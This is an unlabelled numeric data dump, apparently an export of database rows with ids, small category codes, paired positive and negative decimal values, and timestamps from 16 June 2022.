11:36:07.217929+00 +16990,3,7735,19.69167761,-19.69167761,2022-06-16 11:03:12.342216+00 +16991,3,7799,19.5889725,-19.5889725,2022-06-16 11:03:12.345624+00 +18312,6,7967,14.22642062,-14.22642062,2022-06-16 11:10:39.810348+00 +18313,6,8031,14.15190393,-14.15190393,2022-06-16 11:10:39.814097+00 +21455,2,8571,7.390586395,-7.390586395,2022-06-16 11:29:14.449513+00 +19789,2,8319,8.085004747,-8.085004747,2022-06-16 11:19:05.40576+00 +28316,6,9485,13.95543692,-13.95543692,2022-06-16 11:57:27.23293+00 +18418,2,7995,7.98135728,-7.98135728,2022-06-16 11:11:14.554679+00 +16430,1,7608,11.64242168,-11.64242168,2022-06-16 10:59:19.837025+00 +24675,3,9151,13.36277429,-13.36277429,2022-06-16 11:44:22.515856+00 +22921,6,8893,4.315558539,-4.315558539,2022-06-16 11:36:18.397401+00 +30193,1,9785,8.623235332,-8.623235332,2022-06-16 12:06:44.220559+00 +17187,1,7787,5.241649345,-5.241649345,2022-06-16 11:04:31.860016+00 +16435,3,7614,16.56744751,-16.56744751,2022-06-16 10:59:24.22962+00 +16436,3,7678,16.47206206,-16.47206206,2022-06-16 10:59:24.232893+00 +17188,1,7803,5.11716693,-5.11716693,2022-06-16 11:04:31.863606+00 +16438,3,7615,16.46966875,-16.46966875,2022-06-16 10:59:24.259873+00 +16439,3,7679,16.37405318,-16.37405318,2022-06-16 10:59:24.262944+00 +19891,1,8315,4.839837179,-4.839837179,2022-06-16 11:20:07.963114+00 +19892,1,8299,4.946750201,-4.946750201,2022-06-16 11:20:07.966479+00 +22984,6,8879,12.42203016,-12.42203016,2022-06-16 11:36:40.753741+00 +19943,4,8307,11.28217703,-11.28217703,2022-06-16 11:20:18.593383+00 +39768,3,11456,5.711673456,-5.711673456,2022-06-16 12:57:35.847787+00 +24757,6,9151,9.229948981,-9.229948981,2022-06-16 11:44:48.457025+00 +17297,2,7787,8.413809929,-8.413809929,2022-06-16 11:05:14.432012+00 +20022,1,8040,18.8385143,-18.8385143,2022-06-16 11:20:49.950881+00 +23080,2,8894,6.647519451,-6.647519451,2022-06-16 11:37:05.208408+00 +18640,2,8061,7.989129209,-7.989129209,2022-06-16 11:12:19.539055+00 +18656,1,8064,3.573364627,-3.573364627,2022-06-16 11:12:25.922035+00 +17352,4,7768,10.49476152,-10.49476152,2022-06-16 11:05:40.811834+00 +18657,1,8048,1.310814357,-1.310814357,2022-06-16 11:12:25.92346+00 +16453,6,7646,14.1715423,-14.1715423,2022-06-16 10:59:32.236277+00 +18660,1,8109,7.080815148,-7.080815148,2022-06-16 11:12:40.943622+00 +18661,1,8125,7.254378988,-7.254378988,2022-06-16 11:12:40.946996+00 +18683,2,8064,5.797944454,-5.797944454,2022-06-16 11:13:04.583196+00 +34640,1,10605,3.898402079,-3.898402079,2022-06-16 12:30:05.330982+00 +28462,4,9533,4.881011167,-4.881011167,2022-06-16 11:58:09.751785+00 +16459,6,7647,14.03779033,-14.03779033,2022-06-16 10:59:32.382927+00 +18714,2,8111,11.1461748,-11.1461748,2022-06-16 11:13:05.238482+00 +28463,4,9517,4.734252518,-4.734252518,2022-06-16 11:58:09.756142+00 +17456,4,7872,3.057041072,-3.057041072,2022-06-16 11:06:06.423898+00 +17457,4,7856,1.120042691,-1.120042691,2022-06-16 11:06:06.429232+00 +21766,2,8702,7.143280958,-7.143280958,2022-06-16 11:31:04.684285+00 +28464,4,9501,10.64952229,-10.64952229,2022-06-16 11:58:09.757217+00 +16466,6,7662,16.65426811,-16.65426811,2022-06-16 10:59:32.719333+00 +17498,4,7859,11.97314159,-11.97314159,2022-06-16 11:06:20.305631+00 +17499,4,7851,4.216786553,-4.216786553,2022-06-16 11:06:20.308697+00 +17500,4,7867,4.114842258,-4.114842258,2022-06-16 11:06:20.309447+00 +16470,6,7663,16.62308716,-16.62308716,2022-06-16 10:59:32.812855+00 +17501,4,7835,5.53309752,-5.53309752,2022-06-16 11:06:20.310201+00 +17502,4,7819,14.80520594,-14.80520594,2022-06-16 11:06:20.3112+00 +28465,4,9485,17.12041082,-17.12041082,2022-06-16 11:58:09.758395+00 +17516,6,7872,6.710042144,-6.710042144,2022-06-16 11:06:24.14733+00 +17538,3,7805,11.8338334,-11.8338334,2022-06-16 11:06:47.241033+00 +16476,6,7678,13.71434283,-13.71434283,2022-06-16 10:59:33.058349+00 +21812,1,8638,6.337120685,-6.337120685,2022-06-16 11:31:14.016867+00 +21813,1,8703,6.111080935,-6.111080935,2022-06-16 11:31:14.017907+00 +16479,6,7679,13.48771911,-13.48771911,2022-06-16 10:59:33.121389+00 +21814,1,8702,6.316713835,-6.316713835,2022-06-16 11:31:14.018776+00 +17568,2,7856,2.358980728,-2.358980728,2022-06-16 11:07:04.478115+00 +24923,3,9069,9.255617224,-9.255617224,2022-06-16 11:45:32.804345+00 +21841,1,8632,10.28672897,-10.28672897,2022-06-16 11:31:16.983168+00 +17585,2,7919,11.84303681,-11.84303681,2022-06-16 11:07:04.879813+00 +20250,4,8331,14.097211,-14.097211,2022-06-16 11:22:21.137644+00 +39829,6,11451,3.418868782,-3.418868782,2022-06-16 12:58:04.962632+00 +17602,2,7903,10.15606238,-10.15606238,2022-06-16 11:07:05.264724+00 +18860,1,7865,11.02597442,-11.02597442,2022-06-16 11:14:10.965144+00 +18861,1,7833,11.12350666,-11.12350666,2022-06-16 11:14:10.968483+00 +18862,1,7849,10.98784283,-10.98784283,2022-06-16 11:14:10.969338+00 +18863,1,7857,11.16560404,-11.16560404,2022-06-16 11:14:10.970116+00 +20291,1,8379,4.819231187,-4.819231187,2022-06-16 11:22:52.956821+00 +17645,3,7853,11.44570683,-11.44570683,2022-06-16 11:07:19.101906+00 +20292,1,8168,18.7148313,-18.7148313,2022-06-16 11:22:52.96032+00 +30384,3,9856,7.356553447,-7.356553447,2022-06-16 12:07:39.459828+00 +37356,6,11071,5.614224674,-5.614224674,2022-06-16 12:44:49.651047+00 +37368,6,10794,8.092028761,-8.092028761,2022-06-16 12:44:59.055008+00 +25056,4,9099,13.13249042,-13.13249042,2022-06-16 11:46:21.176621+00 +25057,4,9147,2.95121561,-2.95121561,2022-06-16 11:46:21.180324+00 +30500,4,9855,4.629704373,-4.629704373,2022-06-16 12:08:11.736653+00 +30501,4,9887,7.455681387,-7.455681387,2022-06-16 12:08:11.7401+00 +18972,1,8123,4.928027726,-4.928027726,2022-06-16 11:14:37.945894+00 +18973,1,8107,5.037025532,-5.037025532,2022-06-16 11:14:37.949323+00 +30502,4,9903,6.01688346,-6.01688346,2022-06-16 12:08:11.740949+00 +30503,4,9805,16.6123884,-16.6123884,2022-06-16 12:08:11.741754+00 +18994,3,8110,18.32085219,-18.32085219,2022-06-16 11:14:46.215594+00 +18995,3,8174,18.21982458,-18.21982458,2022-06-16 11:14:46.218935+00 +22067,6,8618,12.86686065,-12.86686065,2022-06-16 11:32:43.504876+00 +28750,6,9599,8.094901581,-8.094901581,2022-06-16 11:59:23.465253+00 +19013,3,8127,15.05853833,-15.05853833,2022-06-16 11:14:46.542615+00 +17746,3,7920,4.047906863,-4.047906863,2022-06-16 11:07:54.899365+00 +19014,3,8191,14.96898713,-14.96898713,2022-06-16 11:14:46.54589+00 +39908,1,11502,3.565027723,-3.565027723,2022-06-16 12:58:17.513855+00 +28773,3,9469,8.919340868,-8.919340868,2022-06-16 11:59:29.559091+00 +37444,4,10985,13.8728285,-13.8728285,2022-06-16 12:45:11.70069+00 +34443,2,10559,4.525128059,-4.525128059,2022-06-16 12:29:04.954532+00 +19435,6,8239,14.78710194,-14.78710194,2022-06-16 11:17:10.358981+00 +30123,4,9792,2.050339985,-2.050339985,2022-06-16 12:06:06.635265+00 +30124,4,9776,0.640722464,0,2022-06-16 12:06:06.638872+00 +28155,7,9450,10.32521223,-10.32521223,2022-06-16 11:56:37.57678+00 +18143,2,7931,8.038196848,-8.038196848,2022-06-16 11:09:14.564871+00 +18167,4,7928,9.49026196,-9.49026196,2022-06-16 11:09:43.393017+00 +30194,1,9512,17.25519613,-17.25519613,2022-06-16 12:06:47.213763+00 +18217,4,7981,6.22772789,-6.22772789,2022-06-16 11:10:10.609202+00 +18218,4,7997,6.399579354,-6.399579354,2022-06-16 11:10:10.612693+00 +18219,4,8046,11.0287686,-11.0287686,2022-06-16 11:10:10.613632+00 +18220,4,8047,10.94846867,-10.94846867,2022-06-16 11:10:10.614588+00 +18221,4,7967,9.440437337,-9.440437337,2022-06-16 11:10:10.615599+00 +18222,4,8031,9.40309073,-9.40309073,2022-06-16 11:10:10.616686+00 +18223,4,8062,8.720996041,-8.720996041,2022-06-16 11:10:10.617676+00 +18224,4,8063,8.365994841,-8.365994841,2022-06-16 11:10:10.61854+00 +30205,1,9786,17.4727503,-17.4727503,2022-06-16 12:06:50.187885+00 +18250,4,8030,9.50132259,-9.50132259,2022-06-16 11:10:16.738907+00 +28317,1,9432,10.14467423,-10.14467423,2022-06-16 11:57:29.133675+00 +30206,1,9754,17.36449308,-17.36449308,2022-06-16 12:06:50.189116+00 +19669,3,8320,9.154010864,-9.154010864,2022-06-16 11:18:28.387627+00 +21358,7,8298,11.92396128,-11.92396128,2022-06-16 11:28:54.895066+00 +30255,6,9770,10.44618061,-10.44618061,2022-06-16 12:07:05.357177+00 +26738,4,9195,2.964549878,-2.964549878,2022-06-16 11:51:48.023006+00 +26739,4,9259,2.959014744,-2.959014744,2022-06-16 11:51:48.026419+00 +26740,4,9179,4.491477904,-4.491477904,2022-06-16 11:51:48.027341+00 +24841,2,9142,11.82451458,-11.82451458,2022-06-16 11:45:09.346867+00 +18495,1,7909,18.94077142,-18.94077142,2022-06-16 11:11:49.94755+00 +18496,1,7837,12.43393219,-12.43393219,2022-06-16 11:11:49.950815+00 +18497,1,8029,12.37883446,-12.37883446,2022-06-16 11:11:49.951913+00 +18498,1,7901,12.32406182,-12.32406182,2022-06-16 11:11:49.952909+00 +18499,1,7965,12.26961263,-12.26961263,2022-06-16 11:11:49.953725+00 +18500,1,8037,18.75909858,-18.75909858,2022-06-16 11:11:49.954485+00 +17840,3,7936,9.557642859,-9.557642859,2022-06-16 11:08:06.487495+00 +17841,3,8000,9.503887483,-9.503887483,2022-06-16 11:08:06.491478+00 +17842,4,7936,2.982791177,-2.982791177,2022-06-16 11:08:06.823809+00 +17843,4,7920,1.092156692,-1.092156692,2022-06-16 11:08:06.828779+00 +17844,1,7981,7.78427852,-7.78427852,2022-06-16 11:08:07.868367+00 +17845,1,7721,11.23053687,-11.23053687,2022-06-16 11:08:07.872047+00 +17846,1,7737,11.21100369,-11.21100369,2022-06-16 11:08:07.873012+00 +17847,1,7729,11.39033132,-11.39033132,2022-06-16 11:08:07.873902+00 +17848,1,7705,11.28904965,-11.28904965,2022-06-16 11:08:07.874792+00 +17849,4,7990,11.9828909,-11.9828909,2022-06-16 11:08:08.428065+00 +17850,4,7991,11.89655699,-11.89655699,2022-06-16 11:08:08.431456+00 +17851,4,7933,6.509636782,-6.509636782,2022-06-16 11:08:10.548832+00 +17852,4,7917,6.302458688,-6.302458688,2022-06-16 11:08:10.552094+00 +17853,4,7982,11.23203231,-11.23203231,2022-06-16 11:08:10.552949+00 +17854,4,7983,11.09766224,-11.09766224,2022-06-16 11:08:10.553706+00 +17855,4,7838,9.744104085,-9.744104085,2022-06-16 11:08:10.554482+00 +17856,4,7902,9.704848568,-9.704848568,2022-06-16 11:08:10.555328+00 +17857,4,7966,9.665824386,-9.665824386,2022-06-16 11:08:10.55615+00 +17858,4,7903,9.573422737,-9.573422737,2022-06-16 11:08:10.55686+00 +17859,4,7934,8.866144713,-8.866144713,2022-06-16 11:08:10.557561+00 +17860,4,7998,8.831378082,-8.831378082,2022-06-16 11:08:10.558241+00 +17861,4,7999,8.500510444,-8.500510444,2022-06-16 11:08:10.558882+00 +17862,1,7915,5.121833313,-5.121833313,2022-06-16 11:08:13.890306+00 +17863,1,7931,5.000863786,-5.000863786,2022-06-16 11:08:13.893524+00 +18501,1,7925,20.36172256,-20.36172256,2022-06-16 11:11:49.955334+00 +18502,1,7973,18.6396777,-18.6396777,2022-06-16 11:11:49.956019+00 +18503,1,7989,20.24561146,-20.24561146,2022-06-16 11:11:49.956733+00 +18504,1,8053,20.1678505,-20.1678505,2022-06-16 11:11:49.957398+00 +18505,1,7773,12.02209647,-12.02209647,2022-06-16 11:11:49.958423+00 +18506,1,7861,20.06571092,-20.06571092,2022-06-16 11:11:49.959193+00 +18507,1,7709,11.93064297,-11.93064297,2022-06-16 11:11:49.95987+00 +18508,1,7733,19.96402273,-19.96402273,2022-06-16 11:11:49.960545+00 +18509,1,7797,19.88695676,-19.88695676,2022-06-16 11:11:49.961196+00 +26741,4,9243,4.481350879,-4.481350879,2022-06-16 11:51:48.028228+00 +19893,4,8253,6.190267167,-6.190267167,2022-06-16 11:20:08.888673+00 +19894,4,8317,6.169155846,-6.169155846,2022-06-16 11:20:08.892155+00 +17876,3,7933,11.62738333,-11.62738333,2022-06-16 11:08:16.188+00 +19895,4,8311,11.88634779,-11.88634779,2022-06-16 11:20:08.893276+00 +19896,4,8375,11.83781307,-11.83781307,2022-06-16 11:20:08.894126+00 +18623,6,8126,12.77737486,-12.77737486,2022-06-16 11:12:17.284355+00 +19897,4,8237,6.003139464,-6.003139464,2022-06-16 11:20:08.89496+00 +18641,4,8051,11.66162656,-11.66162656,2022-06-16 11:12:20.288206+00 +18642,4,8043,4.0184187,-4.0184187,2022-06-16 11:12:20.29158+00 +18643,4,8059,3.921442344,-3.921442344,2022-06-16 11:12:20.292426+00 +18644,4,8011,14.52847655,-14.52847655,2022-06-16 11:12:20.293215+00 +18645,4,8027,5.34735064,-5.34735064,2022-06-16 11:12:20.294027+00 +18662,1,8093,11.66965224,-11.66965224,2022-06-16 11:12:43.94358+00 +18663,1,8101,18.0254527,-18.0254527,2022-06-16 11:12:43.946901+00 +18664,1,8117,19.61893673,-19.61893673,2022-06-16 11:12:43.947793+00 +19898,4,8301,5.982902651,-5.982902651,2022-06-16 11:20:08.895782+00 +18700,2,8094,9.892492562,-9.892492562,2022-06-16 11:13:04.947693+00 +32227,6,10175,6.943016874,-6.943016874,2022-06-16 12:17:11.116003+00 +17892,2,7917,8.01803684,-8.01803684,2022-06-16 11:08:19.427007+00 +28466,4,9535,5.159815991,-5.159815991,2022-06-16 11:58:11.226081+00 +21626,4,8637,5.849868652,-5.849868652,2022-06-16 11:30:09.412239+00 +21627,4,8621,5.681080153,-5.681080153,2022-06-16 11:30:09.415914+00 +20023,1,8104,18.773763,-18.773763,2022-06-16 11:20:52.94967+00 +17897,2,7933,8.211536437,-8.211536437,2022-06-16 11:08:19.53522+00 +17898,1,7982,10.07666468,-10.07666468,2022-06-16 11:08:19.890442+00 +17899,1,7966,8.643763334,-8.643763334,2022-06-16 11:08:19.893742+00 +17900,1,7983,10.01177898,-10.01177898,2022-06-16 11:08:19.89457+00 +17901,4,7883,14.77193145,-14.77193145,2022-06-16 11:08:19.90279+00 +17902,4,7931,4.041833333,-4.041833333,2022-06-16 11:08:19.905947+00 +17903,4,7915,4.135632615,-4.135632615,2022-06-16 11:08:19.906826+00 +17904,4,7923,11.83069995,-11.83069995,2022-06-16 11:08:19.907839+00 +17905,4,7899,5.460414895,-5.460414895,2022-06-16 11:08:19.908648+00 +21652,6,8640,6.143706843,-6.143706843,2022-06-16 11:30:10.589791+00 +20044,2,8320,5.703001492,-5.703001492,2022-06-16 11:21:04.553449+00 +28467,4,9599,5.144387112,-5.144387112,2022-06-16 11:58:11.229389+00 +20066,2,8351,9.587175677,-9.587175677,2022-06-16 11:21:05.032855+00 +17910,3,7917,11.28464354,-11.28464354,2022-06-16 11:08:21.466409+00 +28468,4,9567,7.792579505,-7.792579505,2022-06-16 11:58:11.230216+00 +21713,4,8627,10.95460313,-10.95460313,2022-06-16 11:30:20.272166+00 +21714,4,8635,3.373633842,-3.373633842,2022-06-16 11:30:20.27351+00 +21715,4,8619,3.451979991,-3.451979991,2022-06-16 11:30:20.274342+00 +21716,4,8603,4.916660949,-4.916660949,2022-06-16 11:30:20.275222+00 +17916,1,7920,1.38108301,-1.38108301,2022-06-16 11:08:22.89225+00 +17917,1,7936,3.712529936,-3.712529936,2022-06-16 11:08:22.895563+00 +17918,1,7904,8.082857895,-8.082857895,2022-06-16 11:08:22.896488+00 +21717,4,8587,13.77099893,-13.77099893,2022-06-16 11:30:20.276147+00 +21743,6,8669,8.976607303,-8.976607303,2022-06-16 11:30:43.394041+00 +28550,6,9549,13.84566154,-13.84566154,2022-06-16 11:58:54.888854+00 +25058,6,9002,11.91740098,-11.91740098,2022-06-16 11:46:22.46642+00 +20251,2,8426,9.738834854,-9.738834854,2022-06-16 11:22:22.436585+00 +45825,6,12478,4.249167709,-4.249167709,2022-06-16 13:28:14.885506+00 +19387,2,8255,8.25622334,-8.25622334,2022-06-16 11:17:05.283582+00 +27984,3,9454,15.32710776,-15.32710776,2022-06-16 11:56:05.084725+00 +17929,6,7981,5.307786901,-5.307786901,2022-06-16 11:08:26.436049+00 +17930,4,7891,10.11563667,-10.11563667,2022-06-16 11:08:27.517087+00 +18053,2,7982,11.62124184,-11.62124184,2022-06-16 11:09:05.034926+00 +21057,2,8575,7.466321459,-7.466321459,2022-06-16 11:27:05.382008+00 +26401,1,9240,10.42240786,-10.42240786,2022-06-16 11:51:05.107363+00 +26402,1,9272,9.499937945,-9.499937945,2022-06-16 11:51:05.110888+00 +17935,6,7997,5.475921085,-5.475921085,2022-06-16 11:08:28.479353+00 +17936,2,7914,10.37949895,-10.37949895,2022-06-16 11:08:43.086448+00 +17937,2,7946,9.685322918,-9.685322918,2022-06-16 11:08:49.204112+00 +18144,2,7978,10.3214379,-10.3214379,2022-06-16 11:09:17.460164+00 +26403,1,9234,21.71776543,-21.71776543,2022-06-16 11:51:05.111748+00 +27985,3,9518,15.2338709,-15.2338709,2022-06-16 11:56:05.088536+00 +56360,1,14232,6.183073631,-6.183073631,2022-06-16 14:26:59.932702+00 +30125,4,9741,16.71387707,-16.71387707,2022-06-16 12:06:09.659846+00 +19670,1,8224,7.922957009,-7.922957009,2022-06-16 11:18:28.952092+00 +19671,1,8293,17.56530885,-17.56530885,2022-06-16 11:18:28.955257+00 +18342,6,8045,5.259980221,-5.259980221,2022-06-16 11:10:50.763761+00 +18355,1,7979,5.099241688,-5.099241688,2022-06-16 11:10:58.870189+00 +19672,1,8256,3.45939232,-3.45939232,2022-06-16 11:18:28.956096+00 +19673,1,8240,1.104656108,-1.104656108,2022-06-16 11:18:28.956859+00 +30126,4,9773,4.381812599,-4.381812599,2022-06-16 12:06:09.663157+00 +21359,1,8560,0.789269578,0,2022-06-16 11:28:55.983354+00 +21360,1,8576,3.07381719,-3.07381719,2022-06-16 11:28:55.98777+00 +28156,1,9457,9.103767168,-9.103767168,2022-06-16 11:56:38.105865+00 +19820,3,8302,17.75393131,-17.75393131,2022-06-16 11:19:29.933554+00 +24716,3,9136,2.634744305,0,2022-06-16 11:44:43.641128+00 +24739,6,9134,12.06354329,-12.06354329,2022-06-16 11:44:47.930073+00 +28157,1,9433,9.020821741,-9.020821741,2022-06-16 11:56:38.109254+00 +19899,4,8366,9.899274044,-9.899274044,2022-06-16 11:20:10.554048+00 +19900,4,8286,9.197644579,-9.197644579,2022-06-16 11:20:10.557413+00 +19901,4,8350,9.161956646,-9.161956646,2022-06-16 11:20:10.559067+00 +19902,4,8351,9.053092778,-9.053092778,2022-06-16 11:20:10.559992+00 +18665,1,8043,5.070375975,-5.070375975,2022-06-16 11:12:46.946704+00 +18666,1,8059,4.951063472,-4.951063472,2022-06-16 11:12:46.949987+00 +19903,4,8382,7.779136696,-7.779136696,2022-06-16 11:20:10.560858+00 +19904,4,8383,7.472145102,-7.472145102,2022-06-16 11:20:10.561723+00 +22986,6,8845,14.41238777,-14.41238777,2022-06-16 11:36:40.811618+00 +28158,1,9465,8.907452817,-8.907452817,2022-06-16 11:56:38.110093+00 +19971,6,8350,13.59952104,-13.59952104,2022-06-16 11:20:24.558778+00 +23055,2,8878,8.494571806,-8.494571806,2022-06-16 11:37:04.675911+00 +19997,6,8382,11.82988302,-11.82988302,2022-06-16 11:20:25.429189+00 +18779,6,8094,13.85317819,-13.85317819,2022-06-16 11:13:55.035004+00 +28159,1,9449,8.894543207,-8.894543207,2022-06-16 11:56:38.110885+00 +20024,4,8216,10.18823085,-10.18823085,2022-06-16 11:20:55.729681+00 +28219,4,9429,14.73371768,-14.73371768,2022-06-16 11:57:04.886475+00 +30127,4,9789,4.503010781,-4.503010781,2022-06-16 12:06:09.664575+00 +56361,1,14240,4.093097914,-4.093097914,2022-06-16 14:26:59.934246+00 +18837,4,8112,1.022642744,-1.022642744,2022-06-16 11:14:06.927999+00 +18838,4,8128,2.832995795,-2.832995795,2022-06-16 11:14:06.931763+00 +30256,2,9854,5.096193098,-5.096193098,2022-06-16 12:07:05.358382+00 +18873,7,7920,8.432545682,-8.432545682,2022-06-16 11:14:16.833878+00 +18874,7,7984,8.302000891,-8.302000891,2022-06-16 11:14:16.837084+00 +18875,7,8048,8.170619738,-8.170619738,2022-06-16 11:14:16.837912+00 +18876,7,8112,8.03811811,-8.03811811,2022-06-16 11:14:16.838746+00 +18877,7,8176,7.904150807,-7.904150807,2022-06-16 11:14:16.839543+00 +18878,1,8112,1.174557731,-1.174557731,2022-06-16 11:14:16.920055+00 +18879,1,8128,3.603465031,-3.603465031,2022-06-16 11:14:16.921194+00 +21705,4,8622,9.182834451,-9.182834451,2022-06-16 11:30:17.60118+00 +18900,3,8192,9.314523061,-9.314523061,2022-06-16 11:14:20.145845+00 +21706,4,8686,9.147168403,-9.147168403,2022-06-16 11:30:17.602371+00 +18906,3,8109,11.03705678,-11.03705678,2022-06-16 11:14:24.975114+00 +21707,4,8623,8.863313245,-8.863313245,2022-06-16 11:30:17.60321+00 +18915,3,8061,11.30645446,-11.30645446,2022-06-16 11:14:26.314616+00 +21708,4,8687,8.829852165,-8.829852165,2022-06-16 11:30:17.604056+00 +24951,1,9048,10.55461993,-10.55461993,2022-06-16 11:45:38.103812+00 +26876,6,9344,5.652018639,-5.652018639,2022-06-16 11:52:09.759416+00 +45834,7,12394,6.096730314,-6.096730314,2022-06-16 13:28:23.681038+00 +20214,3,8366,17.6348788,-17.6348788,2022-06-16 11:22:09.568349+00 +20215,3,8430,17.5355149,-17.5355149,2022-06-16 11:22:09.571758+00 +49039,2,13038,3.370523481,-3.370523481,2022-06-16 13:47:05.540722+00 +18965,6,8128,6.528806953,-6.528806953,2022-06-16 11:14:31.243578+00 +26939,6,9406,9.2950172,-9.2950172,2022-06-16 11:52:16.757391+00 +20252,4,8363,3.710491003,-3.710491003,2022-06-16 11:22:22.940587+00 +20253,4,8347,5.091631474,-5.091631474,2022-06-16 11:22:22.943767+00 +32401,6,10176,5.04954977,-5.04954977,2022-06-16 12:18:09.853319+00 +21877,1,8600,11.16299047,-11.16299047,2022-06-16 11:31:28.983339+00 +20293,1,8446,6.927819287,-6.927819287,2022-06-16 11:22:58.952081+00 +20294,1,8431,8.752973933,-8.752973933,2022-06-16 11:22:58.955461+00 +20295,1,8430,8.774091541,-8.774091541,2022-06-16 11:22:58.956533+00 +20296,1,8152,11.8024583,-11.8024583,2022-06-16 11:22:58.957392+00 +19038,2,8112,2.005251714,-2.005251714,2022-06-16 11:15:04.55108+00 +19039,2,8128,5.832969144,-5.832969144,2022-06-16 11:15:04.554527+00 +19040,2,8158,9.960715265,-9.960715265,2022-06-16 11:15:04.555735+00 +20297,1,8413,10.95352923,-10.95352923,2022-06-16 11:22:58.958163+00 +20298,1,8421,17.17490909,-17.17490909,2022-06-16 11:22:58.958921+00 +20299,1,8414,8.27628367,-8.27628367,2022-06-16 11:22:58.959737+00 +20300,1,8437,18.74219927,-18.74219927,2022-06-16 11:22:58.960428+00 +20301,1,8415,8.212994683,-8.212994683,2022-06-16 11:22:58.961133+00 +20302,1,8447,6.62658806,-6.62658806,2022-06-16 11:22:58.961755+00 +19068,2,8190,8.668430484,-8.668430484,2022-06-16 11:15:05.251319+00 +20303,1,8363,4.925583153,-4.925583153,2022-06-16 11:22:58.962394+00 +21878,1,8608,7.368535432,-7.368535432,2022-06-16 11:31:28.986865+00 +19078,4,8120,9.322919652,-9.322919652,2022-06-16 11:15:12.574418+00 +25116,1,9137,9.467973814,-9.467973814,2022-06-16 11:46:35.089087+00 +25117,1,9145,9.278394186,-9.278394186,2022-06-16 11:46:35.090465+00 +25118,1,9129,9.264417858,-9.264417858,2022-06-16 11:46:35.091353+00 +25119,1,9113,9.354350185,-9.354350185,2022-06-16 11:46:35.092198+00 +32427,4,10199,15.19217753,-15.19217753,2022-06-16 12:18:19.278075+00 +32450,4,10131,7.820818192,-7.820818192,2022-06-16 12:18:29.234859+00 +28551,1,9597,4.696185137,-4.696185137,2022-06-16 11:58:56.158527+00 +28552,1,9581,4.554448849,-4.554448849,2022-06-16 11:58:56.161895+00 +28582,6,9531,5.186715421,-5.186715421,2022-06-16 11:58:57.917676+00 +22068,2,8746,9.151782948,-9.151782948,2022-06-16 11:32:57.460649+00 +20424,6,8431,14.05883921,-14.05883921,2022-06-16 11:23:40.597535+00 +23477,2,8880,1.547451117,0,2022-06-16 11:39:04.836363+00 +19111,6,8106,13.86020476,-13.86020476,2022-06-16 11:15:23.543077+00 +22101,2,8750,8.848417042,-8.848417042,2022-06-16 11:33:04.945942+00 +28583,1,9496,10.10703456,-10.10703456,2022-06-16 11:58:59.132393+00 +22105,1,8767,6.050039904,-6.050039904,2022-06-16 11:33:05.020763+00 +22106,1,8766,6.238568113,-6.238568113,2022-06-16 11:33:05.021996+00 +22107,1,8735,7.959789753,-7.959789753,2022-06-16 11:33:05.023138+00 +22108,1,8751,7.935241644,-7.935241644,2022-06-16 11:33:05.024007+00 +20495,3,8253,10.82916455,-10.82916455,2022-06-16 11:24:10.608125+00 +22109,1,8750,7.970935217,-7.970935217,2022-06-16 11:33:05.024886+00 +22110,1,8734,8.046997911,-8.046997911,2022-06-16 11:33:05.025729+00 +22124,2,8766,6.927219386,-6.927219386,2022-06-16 11:33:05.32811+00 +28584,1,9528,9.14536957,-9.14536957,2022-06-16 11:58:59.133662+00 +23507,2,8958,6.553475066,-6.553475066,2022-06-16 11:39:05.505543+00 +19124,6,8158,13.97062744,-13.97062744,2022-06-16 11:15:32.022899+00 +21000,6,8574,11.13050281,-11.13050281,2022-06-16 11:26:56.348212+00 +22574,6,8831,10.00939585,-10.00939585,2022-06-16 11:35:03.623601+00 +32157,2,10142,7.959719415,-7.959719415,2022-06-16 12:17:04.784595+00 +48822,3,13055,6.833272704,-6.833272704,2022-06-16 13:46:03.990842+00 +52462,2,13599,8.211340747,-8.211340747,2022-06-16 14:05:05.237286+00 +19130,6,8159,13.91592823,-13.91592823,2022-06-16 11:15:32.168283+00 +45835,1,12395,1.988458287,-1.988458287,2022-06-16 13:28:29.658684+00 +21232,3,8623,17.08425969,-17.08425969,2022-06-16 11:28:11.210827+00 +45836,1,12402,11.84496909,-11.84496909,2022-06-16 13:28:29.662858+00 +19674,2,8298,9.815541845,-9.815541845,2022-06-16 11:18:38.197083+00 +19708,6,8318,12.06626815,-12.06626815,2022-06-16 11:18:48.102213+00 +32402,4,10125,16.00720738,-16.00720738,2022-06-16 12:18:11.220353+00 +19137,6,8174,15.07745585,-15.07745585,2022-06-16 11:15:32.547848+00 +28319,6,9493,11.3341137,-11.3341137,2022-06-16 11:57:32.233374+00 +19766,2,8286,9.712577702,-9.712577702,2022-06-16 11:19:04.903875+00 +24637,6,9072,1.762772531,0,2022-06-16 11:44:15.524267+00 +28339,4,9208,8.732575789,-8.732575789,2022-06-16 11:57:40.688513+00 +32403,4,10157,3.889874632,-3.889874632,2022-06-16 12:18:11.221564+00 +32404,4,10173,3.998575925,-3.998575925,2022-06-16 12:18:11.222394+00 +19144,6,8175,15.02695655,-15.02695655,2022-06-16 11:15:32.717961+00 +30462,1,9917,4.530148186,-4.530148186,2022-06-16 12:08:05.189839+00 +19905,4,8160,6.492567216,-6.492567216,2022-06-16 11:20:12.196171+00 +19937,6,8320,6.372182408,-6.372182408,2022-06-16 11:20:16.315224+00 +19965,1,8288,7.85875086,-7.85875086,2022-06-16 11:20:22.925355+00 +19966,1,8320,3.403628516,-3.403628516,2022-06-16 11:20:22.926751+00 +19967,1,8304,1.062543215,-1.062543215,2022-06-16 11:20:22.927718+00 +45837,1,12394,3.704224281,-3.704224281,2022-06-16 13:28:29.663861+00 +30504,4,9813,13.91672893,-13.91672893,2022-06-16 12:08:14.006043+00 +24898,3,9085,9.499884133,-9.499884133,2022-06-16 11:45:29.417857+00 +21598,3,8702,14.31003149,-14.31003149,2022-06-16 11:30:05.421499+00 +37359,6,11029,9.226533068,-9.226533068,2022-06-16 12:44:51.872662+00 +59891,3,14674,22.50333299,-22.50333299,2022-06-16 14:42:01.789483+00 +20090,2,8315,7.68685329,-7.68685329,2022-06-16 11:21:14.444172+00 +23147,1,8602,21.18756461,-21.18756461,2022-06-16 11:37:29.048038+00 +23148,1,8666,21.08905224,-21.08905224,2022-06-16 11:37:29.051528+00 +21712,1,8687,8.073261386,-8.073261386,2022-06-16 11:30:19.986945+00 +21729,1,8701,5.797337294,-5.797337294,2022-06-16 11:30:28.982961+00 +21730,1,8677,16.74078328,-16.74078328,2022-06-16 11:30:28.984166+00 +21731,1,8685,5.611223903,-5.611223903,2022-06-16 11:30:28.984963+00 +21732,1,8669,10.76026093,-10.76026093,2022-06-16 11:30:28.985619+00 +21745,6,8677,14.53491582,-14.53491582,2022-06-16 11:30:46.562448+00 +21770,2,8703,7.255113815,-7.255113815,2022-06-16 11:31:04.768288+00 